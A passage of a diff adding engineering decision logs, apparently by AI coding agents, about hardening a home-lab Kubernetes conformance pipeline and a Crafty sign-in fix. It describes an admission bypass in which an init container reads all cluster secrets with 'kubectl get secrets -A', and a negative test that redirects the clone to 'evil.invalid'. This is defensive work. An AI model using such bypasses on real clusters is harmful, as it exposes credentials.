+    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
+                            2 entries well-formed — this one included)
+    lint: green            (404 files)
+    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
+                            0 failures, 0 skips, 0 unwired)
+    render-golden: green   (10 onboarded service goldens reproduce)
+    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
+    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

decisions/2026-09-29-conformance-runner-image.md

@@ -0,0 +1,258 @@
+---
+date: 2026-09-29
+branch: feat/conformance-runner-image
+title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
+[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
+merged** — an agent cannot, and should not.
+
+### The defect, stated plainly
+
+`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
+`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
+and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
+have failed at exec of `./run.sh` before a single test ran, and the only place that would have
+surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
+it in the archive: a manifest that *described* a working mechanism, with nothing measuring
+whether the mechanism existed.
+
+### What landed
+
+- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
+  chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
+  fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
+  `fedora-minimal` and carries no downloader).
+- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
+  prints the digest, and **never pushes**.
+- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
+  addendum below).
+- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
+- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
+  `image:`.
+
+`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
+and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
+Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
+forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
+
+Two things the admission boundary forced, both of which would otherwise have been discovered
+at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
+reject a named user), and every writable path must live under `/workspace` (the pod is
+`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
+`safe.directory` is therefore written to `/etc/gitconfig` at build time.
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
+
+### The chainsaw supply-chain gap, stated accurately
+
+The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
+URL". Literally true, and misleading: it reads as "no integrity option exists". The release
+assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
+each tarball. So verification IS available; it needs cosign in the builder stage and the right
+keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
+sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
+Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
+decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
+same gap for the same binary.
+
+### Addendum — `/usr/local/bin/conformance-clone`
+
+Added at the coordinator's request, to close half of the admission gap a sibling agent found:
+the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
+from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
+arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
+author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
+`kubectl get secrets -A`).
+
+The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
+replace the one executable the policy will come to trust. Clone logic taken from PR #20's
+`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
+`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
+accepted.
+
+**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
+taken from the environment.** The brief said to take SHA, repo URL and target dir from the
+environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
+script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
+trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
+the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
+vars are still read so the Job template stays self-documenting, but a value that disagrees with
+the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
+is the SHA.
+
+**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
+path *required* rather than merely *available* is a 4th policy rule demanding
+`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
+rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
+branch. Until it lands, the hole is open.
+
+The anonymous-clone fallback is deliberate and announced in the script's log line: read access
+to this repo needs no credential today, the integrity guarantee here is the SHA assertion
+rather than the credential, and requiring the Secret would have made the script untestable
+without one.
+
+### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
+
+`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
+selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
+`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
+the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
+offline in the same CI run.
+
+So **the plan's own invocation shapes do not work on this image.** `--layer all
+--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
+documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
+must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
+to nothing.
+
+**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
+layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
+checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
+documented in the Containerfile header and the incluster README so it cannot be rediscovered
+from a pod log.
+
+### Follow-ups this creates
+
+1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
+   `CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
+   not the local manifest digest the build printed.
+2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
+   wildcard with the literal digest, closing the residual "anyone who can push to this path"
+   gap. Separate, human-reviewed PR — it edits the security boundary.
+3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
+   carrying an image reference that admission would deny.
+4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
+   Without it, `conformance-clone` is available but not required, and the injection hole is
+   still open.
+
+### Rework note — why this entry is a file and not an append
+
+This branch originally carried its handoff as a ~236-line append to the tail of
+`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
+and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
+its substance moved here verbatim in meaning; the branch now touches no file outside
+`conformance/`. Nothing about what the code claims to have proven was changed by that move.
+
+## What I verified
+
+### The image, by running it — not by a green build
+
+As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
+(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
+non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
+`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
+`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
+in-image verification still passed.
+
+### The init-container clone path, end to end
+
+From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
+`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
+notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
+HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
+anonymous read is currently open — the plan's read-only deploy token buys authorisation
+hygiene, not reachability.
+
+`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
+`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
+exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
+instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
+**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
+workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
+SHA, with `rev-parse HEAD` proven equal to the requested SHA.
+
+Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
+matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
+checks were written as pipelines, which under `pipefail` aborted the verify at the first
+expected failure and silently skipped the remaining six. A verify that stops early looks
+identical to a verify that passed.
+
+### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
+
+My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
+`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
+checking it. It is not true:**
+
+| Claim | Measured |
+|---|---|
+| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
+| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
+| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
+
+What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
+and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
+a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
+agent still cannot merge" send a reviewer to different places. Left in as a correction rather
+than quietly deleted.
+
+### What PR #18's CI actually did, read out of the job log
+
+Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
+because a skipped Gitea job reports `success`:
+
+    [skip] stage spec-immutability: SKIPPED (not run)
+    [ ok ] stage lint: pass
+    [ ok ] stage l0: pass
+    [ ok ] stage render-golden: pass
+    [ ok ] stage l1: pass
+    [ ok ] stage gitea-settings: pass
+    [skip] stage conformance: SKIPPED (not run)
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+
+`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
+by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
+`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
+that stage can only skip. That measurement predates this rework's force-push; CI has not been
+re-read since.
+
+### The gate, on the reworked branch, today
+
+    ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    → rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
+
+    [ ok ] spec-immutability   [ ok ] decisions-log   [ ok ] lint
+    [ ok ] l0                  [ ok ] render-golden   [ ok ] l1
+    [skip] gitea-settings      (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    [skip] conformance         (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
+    Stages that did not run: gitea-settings
+
+`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
+frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
+Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
+Touched requirements resolved to
+`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
+is **not** a green run and is not offered as one.
+
+### The rework itself
+
+`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
+file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
+is empty, so the code is byte-identical to the pre-rework tip, file modes included
+(`build-image.sh` and `conformance-clone` both `100755`).
+
+## What I did NOT verify
+
+- **The image has never run in the cluster.** Everything above is local podman. Admission has
+  not been exercised against it, because there is no digest to reference yet.
+- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
+  purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
+  like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
+  operator action — `build-image.sh` prints the exact commands.
+- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
+  change what the branch claims to have proven, so no build was run; the image measurements
+  above are the ones taken when the code was written, against this same code.
+- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
+  The cosign path is named as a TODO, not implemented.
+- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
+  The initContainer injection hole is open until that separate PR lands.
+- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
+  prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
+  at L2/L3.
+- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
+  registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
+  earlier, against the pre-rework head.
+- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
+  quoted above is from run 128 on the old head.

decisions/2026-09-29-conformance-trigger-kubeconfig.md

@@ -0,0 +1,125 @@
+---
+date: 2026-09-29
+branch: feat/conformance-trigger-kubeconfig
+title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
+---
+
+## What changed
+
+Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
+`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
+changing Gitea variables are operator actions; nothing was minted, no Gitea object was
+written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
+not about the platform.
+
+*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
+**only that token** with the cluster CA and server into a kubeconfig, stores it as the
+Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
+prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
+precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
+argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
+under `set -x`.
+
+*The design decision worth reviewing: TWO precondition classes.*
+
+- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
+  `conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
+  fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
+  `serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
+  `conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
+  (plan §4); minting before the boundary is live would hand CI the escalation the boundary
+  exists to close.
+- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
+  plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
+  referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
+  variable, because storing the secret early is harmless and is the plan's own order.
+
+**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
+`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
+skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
+names the trigger kubeconfig only in its TODO comment). So on a live run today the script
+would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
+missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
+work that unblocks it.
+
+*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
+HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
+the object back. For the secret that is presence-by-name only (Gitea never returns secret
+values) and the script says so rather than implying the content was checked; for the variable
+it asserts the value reads back as exactly `true`.
+
+*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
+detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
+`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
+closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
+(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
+local-run environment variable, never as CI wiring, because the secret that would feed it
+cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
+it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
+secret `GITEA_SETTINGS_TOKEN`, which is impossible.
+
+*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
+`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
+PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
+`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
+`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
+commits; the commit that contained only the log append was dropped and its substance folded
+in below.
+
+## What I verified
+
+*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
+must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
+round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
+(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
+pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
+`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
+says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
+property of the code as read, not of an execution.
+
+*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
+this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
+security-relevant. Measured on the PR head commit's `/statuses`:
+
+    gate / gate (pull_request)          success   Successful in 1m34s
+    gate / conformance (pull_request)   pending   Blocked by required conditions
+
+`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
+**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
+paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
+actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
+believed to exist because a brief said so. If the policy is intended, it is missing and needs
+its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
+script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
+
+*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
+plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
+Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
+`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
+green; the gate decision names exactly one stage that did not run — `gitea-settings`
+(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
+`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
+`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
+file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
+`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
+
+## What I did NOT verify
+
+**The script has never executed.** Not one line of it has run against Gitea or against the
+cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
+shellcheck stage in the gate.
+
+- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
+  is from **documentation, not measurement**. The script tries POST then falls back to PUT,
+  prints the response body on failure, and treats the read-back as the authority.
+- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
+  and treats "neither present" as a block rather than assuming ready — but which form this
+  cluster actually reports is **unmeasured**.
+- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
+  known from here** — hence `--server`, and a hard refusal on a loopback address.
+- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
+  set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
+  is read from the RBAC and the script, not observed.
+- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
+  here is evidence about runtime behaviour.

decisions/2026-09-29-crafty-oauth2-proxy-signin.md

@@ -0,0 +1,123 @@
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
